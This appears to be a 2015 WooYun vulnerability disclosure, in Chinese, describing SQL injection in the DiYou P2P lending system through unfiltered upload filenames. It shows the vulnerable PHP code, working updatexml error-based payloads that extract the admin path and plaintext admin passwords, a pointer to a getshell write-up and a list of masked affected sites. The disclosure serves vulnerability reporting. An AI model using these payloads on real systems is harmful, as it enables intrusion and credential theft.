当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(30) 关注此漏洞

缺陷编号: WooYun-2015-133203

漏洞标题: 帝友P2P借货系统全局问题造成多处注入之2(无视360防御/gpc/受长度限制)

相关厂商: 厦门帝网信息科技有限公司

漏洞作者: Xser

提交时间: 2015-08-11 10:47

公开时间: 2015-11-11 09:52

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 无

10人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-11: 细节已通知厂商并且等待厂商处理中
2015-08-13: 厂商已经确认,细节仅向厂商公开
2015-08-16: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2015-10-07: 细节向核心白帽子及相关领域专家公开
2015-10-17: 细节向普通白帽子公开
2015-10-27: 细节向实习白帽子公开
2015-11-11: 细节向公众公开

简要描述:

帝友P2P借货系统全局问题造成多处注入之2(无视360防御/gpc/受长度限制)附加整套系统数据库分析
从注入一步步到后台拿shell,分析数据库,注入出后台地址和管理员密码明文

详细说明:

---------------------------



注入篇







首先看看全局文件出现的问题



core\upload.class.php



code 区域
function upfile($data = array()){ 
global $mysql;
$error = "";
if (!isset($data['file'])) return "";
$filename = isset($data['filename'])?$data['filename']:"";
$file = $data['file'];
if(!isset($_FILES[$file]['name'])) return "";
$this->setData($data);
$newDir = ROOT_PATH.$this->file_dir;
$err_var = array("-2"=>"文件不存在","-3"=>"图片类型不正确","-4"=>"不是图片类型","-5"=>"上传图片过大");
if (is_array($_FILES[$file]['name'])){
$_result = array();
foreach($_FILES[$file]['name'] as $i =>$value){
if ($value!=""){
$this->img_type = strtolower(substr($_FILES[$file]['name'][$i],-3,3));
if ($_FILES[$file]['size'][$i]==0) $error = -2;
if(!in_array($this->img_type,$this->file_type)) $error = -3;
if(strpos($_FILES[$file]['type'][$i],'image')===false) $error = -4;
if($_FILES[$file]['size'][$i] >$this->file_size*1024) $error = -5;
if($_FILES[$file]['error'][$i] !=0 ) $error = -2;
$this->_mkdirs($this->file_dir);
$newFile = $this->file_newname.$i.substr($_FILES[$file]['name'][$i],-4,4);
$oldFile = $_FILES[$file]['name'][$i];
$allFile = $newDir.$newFile;
if ($error<0){
echo "<script>alert('".$err_var[$error]."');history.go(-1);</script>";
exit;
}
if(function_exists('move_uploaded_file')){
$result = move_uploaded_file($_FILES[$file]['tmp_name'][$i],$allFile);
}else{
@copy($_FILES[$file]['tmp_name'][$i],$allFile);
}
$this->setSrcImg($allFile);
$this->setCutimg();
$this->setDstImg($allFile);
$this->_createMask();
$this->_output();
if($data['name'][$i]==""){
$_name = $oldFile;
}else{
$_name = $data['name'][$i];
}
if ($error==""){
$sql = "insert into `{users_upfiles}` set code='{$data['code']}',type='{$data['type']}',article_id='{$data['article_id']}',user_id='{$data['user_id']}',`name`='{$_name}',filesize='{$_FILES[$file]['size'][$i]}',filetype='{$this->img_type}',fileurl='".$this->file_dir.$newFile."',filename='".$newFile."',`addtime` = '".time()."', `updatetime` = '".time()."',`addip` = '".ip_address()."',`updateip` = '".ip_address()."'";
$mysql ->db_query($sql);
$upfiles_id = $mysql->db_insert_id();
$_result[$i]['filename'] = $this->file_dir.$newFile;
$_result[$i]['upfiles_id'] = $upfiles_id;
}
}
}
return $_result;





获取文件名没有过滤过滤,只是验证最后三位是否为合法后续,我们搜索下有哪处调用了



QQ截图20150810212950.jpg





可以看到搜索出很多处实际也就10多处,我就不一一举例,就用一处来举例吧(为什么这么说呢,当然我是自己测试过才知道有多少处的,只是为了简洁才不一一)



找一处实名认证的来测试



文件地址是/core/approve/approve.class.php中



code 区域
unction AddRealname($data){
global $mysql;
if ($data["pic_result"]=="") return "";
foreach ($data["pic_result"] as $key => $value){
$sql = "insert into `{realname}` set addtime='".time()."',addip='".ip_address()."',user_id='{$data['user_id']}',upfiles_id='{$value['upfiles_id']}',`order`='{$value['order']}',type_id='{$data['type_id']}'";
$mysql->db_query($sql);

}

return $data['type_id'];





code 区域
$sql = "insert into `{realname}` set addtime='".time()."',addip='".ip_address()."',user_id='{$data['user_id']}',upfiles_id='{$value['upfiles_id']}',`order`='{$value['order']}',type_id='{$data['type_id']}'";







这里是把文件名带入查询了,但有单引号包含,不怕,因为我们不是$GET/$POST/$COOKIE



可无视360webscan还有gpc。







打开实名认证那块测试注入







**.**.**.**/?user&q=code/approve/realname



QQ截图20150810213449.jpg





提交,用burp截包。



然后1.jpg这样改为1'jpg就可以了







可以看到报错了



QQ截图20150810213603.jpg





试试构造exp,union select是不行的了,可以试试updatexml





<code0' or updatexml(1,concat(0x7e,(version())),0) or 'jpg</code>



可以爆出数据了



QQ截图20150810213710.jpg





--------------------------------------------------







数据库篇







帝友系统是把配置文件都存数据库的,所以后台地址也可以在数据库里找的到。



配置文件内容在yyd_system这个表中



QQ截图20150810213808.jpg





找到了,我们试试用注入爆出来看看



EXP:



code 区域
0' or updatexml(1,concat(0x7e,(select value from yyd_system LIMIT 66,1)),0) or ' jpg





QQ截图20150810213951.jpg





可以看到爆出了 (~admin)



管理员我就不测试爆出了。







我们来看看数据库哪里存在了明文存储



表:yyd_users_adminlog



这个是管理员登陆日志来的,明文记录了密码



QQ截图20150810214100.jpg





EXP:



code 区域
0' or updatexml(1,concat(0x7e,(select data from yyd_users_adminlog LIMIT 0,1)),0) or ' jpg





可以看到爆出来



QQ截图20150810214233.jpg





有时太长爆的不完整,可以用substr来截取。



--------------------------



拿shell篇



查考http://**.**.**.**/bugs/wooyun-2010-0132456的



----------------------------







案例篇(送十几个测试案例)





code 区域
**.**.**.**

**.**.**.**

**.**.**.**

**.**.**.**

**.**.**.**

**.**.**.**

**.**.**.**

**.**.**.**

**.**.**.**

**.**.**.**

**.**.**.**

**.**.**.**

**.**.**.**

**.**.**.**

**.**.**.**

**.**.**.**









手好累,打了那么长的分析过程



漏洞证明:

---------------------------



注入篇







首先看看全局文件出现的问题



core\upload.class.php



code 区域
function upfile($data = array()){ 
global $mysql;
$error = "";
if (!isset($data['file'])) return "";
$filename = isset($data['filename'])?$data['filename']:"";
$file = $data['file'];
if(!isset($_FILES[$file]['name'])) return "";
$this->setData($data);
$newDir = ROOT_PATH.$this->file_dir;
$err_var = array("-2"=>"文件不存在","-3"=>"图片类型不正确","-4"=>"不是图片类型","-5"=>"上传图片过大");
if (is_array($_FILES[$file]['name'])){
$_result = array();
foreach($_FILES[$file]['name'] as $i =>$value){
if ($value!=""){
$this->img_type = strtolower(substr($_FILES[$file]['name'][$i],-3,3));
if ($_FILES[$file]['size'][$i]==0) $error = -2;
if(!in_array($this->img_type,$this->file_type)) $error = -3;
if(strpos($_FILES[$file]['type'][$i],'image')===false) $error = -4;
if($_FILES[$file]['size'][$i] >$this->file_size*1024) $error = -5;
if($_FILES[$file]['error'][$i] !=0 ) $error = -2;
$this->_mkdirs($this->file_dir);
$newFile = $this->file_newname.$i.substr($_FILES[$file]['name'][$i],-4,4);
$oldFile = $_FILES[$file]['name'][$i];
$allFile = $newDir.$newFile;
if ($error<0){
echo "<script>alert('".$err_var[$error]."');history.go(-1);</script>";
exit;
}
if(function_exists('move_uploaded_file')){
$result = move_uploaded_file($_FILES[$file]['tmp_name'][$i],$allFile);
}else{
@copy($_FILES[$file]['tmp_name'][$i],$allFile);
}
$this->setSrcImg($allFile);
$this->setCutimg();
$this->setDstImg($allFile);
$this->_createMask();
$this->_output();
if($data['name'][$i]==""){
$_name = $oldFile;
}else{
$_name = $data['name'][$i];
}
if ($error==""){
$sql = "insert into `{users_upfiles}` set code='{$data['code']}',type='{$data['type']}',article_id='{$data['article_id']}',user_id='{$data['user_id']}',`name`='{$_name}',filesize='{$_FILES[$file]['size'][$i]}',filetype='{$this->img_type}',fileurl='".$this->file_dir.$newFile."',filename='".$newFile."',`addtime` = '".time()."', `updatetime` = '".time()."',`addip` = '".ip_address()."',`updateip` = '".ip_address()."'";
$mysql ->db_query($sql);
$upfiles_id = $mysql->db_insert_id();
$_result[$i]['filename'] = $this->file_dir.$newFile;
$_result[$i]['upfiles_id'] = $upfiles_id;
}
}
}
return $_result;





获取文件名没有过滤过滤,只是验证最后三位是否为合法后续,我们搜索下有哪处调用了



QQ截图20150810212950.jpg





可以看到搜索出很多处实际也就10多处,我就不一一举例,就用一处来举例吧(为什么这么说呢,当然我是自己测试过才知道有多少处的,只是为了简洁才不一一)



找一处实名认证的来测试



文件地址是/core/approve/approve.class.php中



code 区域
unction AddRealname($data){
global $mysql;
if ($data["pic_result"]=="") return "";
foreach ($data["pic_result"] as $key => $value){
$sql = "insert into `{realname}` set addtime='".time()."',addip='".ip_address()."',user_id='{$data['user_id']}',upfiles_id='{$value['upfiles_id']}',`order`='{$value['order']}',type_id='{$data['type_id']}'";
$mysql->db_query($sql);

}

return $data['type_id'];





code 区域
$sql = "insert into `{realname}` set addtime='".time()."',addip='".ip_address()."',user_id='{$data['user_id']}',upfiles_id='{$value['upfiles_id']}',`order`='{$value['order']}',type_id='{$data['type_id']}'";







这里是把文件名带入查询了,但有单引号包含,不怕,因为我们不是$GET/$POST/$COOKIE



可无视360webscan还有gpc。







打开实名认证那块测试注入







**.**.**.**/?user&q=code/approve/realname



QQ截图20150810213449.jpg





提交,用burp截包。



然后1.jpg这样改为1'jpg就可以了







可以看到报错了



QQ截图20150810213603.jpg





试试构造exp,union select是不行的了,可以试试updatexml





<code0' or updatexml(1,concat(0x7e,(version())),0) or 'jpg</code>



可以爆出数据了



QQ截图20150810213710.jpg





--------------------------------------------------







数据库篇







帝友系统是把配置文件都存数据库的,所以后台地址也可以在数据库里找的到。



配置文件内容在yyd_system这个表中



QQ截图20150810213808.jpg





找到了,我们试试用注入爆出来看看



EXP:



code 区域
0' or updatexml(1,concat(0x7e,(select value from yyd_system LIMIT 66,1)),0) or ' jpg





QQ截图20150810213951.jpg





可以看到爆出了 (~admin)



管理员我就不测试爆出了。







我们来看看数据库哪里存在了明文存储



表:yyd_users_adminlog



这个是管理员登陆日志来的,明文记录了密码



QQ截图20150810214100.jpg





EXP:



code 区域
0' or updatexml(1,concat(0x7e,(select data from yyd_users_adminlog LIMIT 0,1)),0) or ' jpg





可以看到爆出来



QQ截图20150810214233.jpg





有时太长爆的不完整,可以用substr来截取。



--------------------------



拿shell篇



查考http://**.**.**.**/bugs/wooyun-2010-0132456的



----------------------------







案例篇(送十几个测试案例)





code 区域
**.**.**.**

**.**.**.**

**.**.**.**

**.**.**.**

**.**.**.**

**.**.**.**

**.**.**.**

**.**.**.**

**.**.**.**

**.**.**.**

**.**.**.**

**.**.**.**

**.**.**.**

**.**.**.**

**.**.**.**

**.**.**.**









手好累,打了那么长的分析过程

修复方案:

过滤

版权声明:转载请注明来源 Xser@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-08-13 09:51

厂商回复:

已提交研发部分在处理,再次的感谢您对我们帝友的关注,您的宝贵建议将是我们不断前行的动力。非常感谢

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(少于3人评价):
登陆后才能进行评分
100%
0%
0%
0%
0%

评价

  1. 2015-11-11 10:54 | 老实先生 ( 普通白帽子 | Rank:204 漏洞数:63 | 专业承揽工程刮大白,外墙涂料,外墙保温,...)
    0

    最少应该20Rank 这技术

  2. 2015-11-11 12:11 | 李叫兽就四李叫兽 ( 实习白帽子 | Rank:62 漏洞数:24 | 啦啦啦啦)
    0

    虽然卡不懂

  3. 2015-11-11 14:31 | BeenQuiver ( 普通白帽子 | Rank:103 漏洞数:27 | 专注而高效,坚持好的习惯千万不要放弃)
    0

    insert型注入' or 1=1 or 'a'='a

  4. 2016-01-27 09:14 | 小飞 ( 实习白帽子 | Rank:52 漏洞数:12 | 挖洞对于16岁的我来说实在是太艰难了!)
    0

    $_FILES 受gpc影响谢谢

  5. 2016-01-27 10:58 | Xser ( 普通白帽子 | Rank:379 漏洞数:86 | JDSec)
    0

    @小飞 只有post cookie get才受的飞哥

  6. 2016-01-27 11:03 | Xser ( 普通白帽子 | Rank:379 漏洞数:86 | JDSec)
    0

    @小飞 而且 WooYun: iWebShop最新版两处SQL注入 这是你的漏洞你也说了是不受gpc影响了……

  7. 2016-01-27 13:29 | 小飞 ( 实习白帽子 | Rank:52 漏洞数:12 | 挖洞对于16岁的我来说实在是太艰难了!)
    0

    @Xser 我就是这里之后,才发现FILE是受的

登录后才能发表评论,请先 登录

cation !== self.location) top.location=self.location;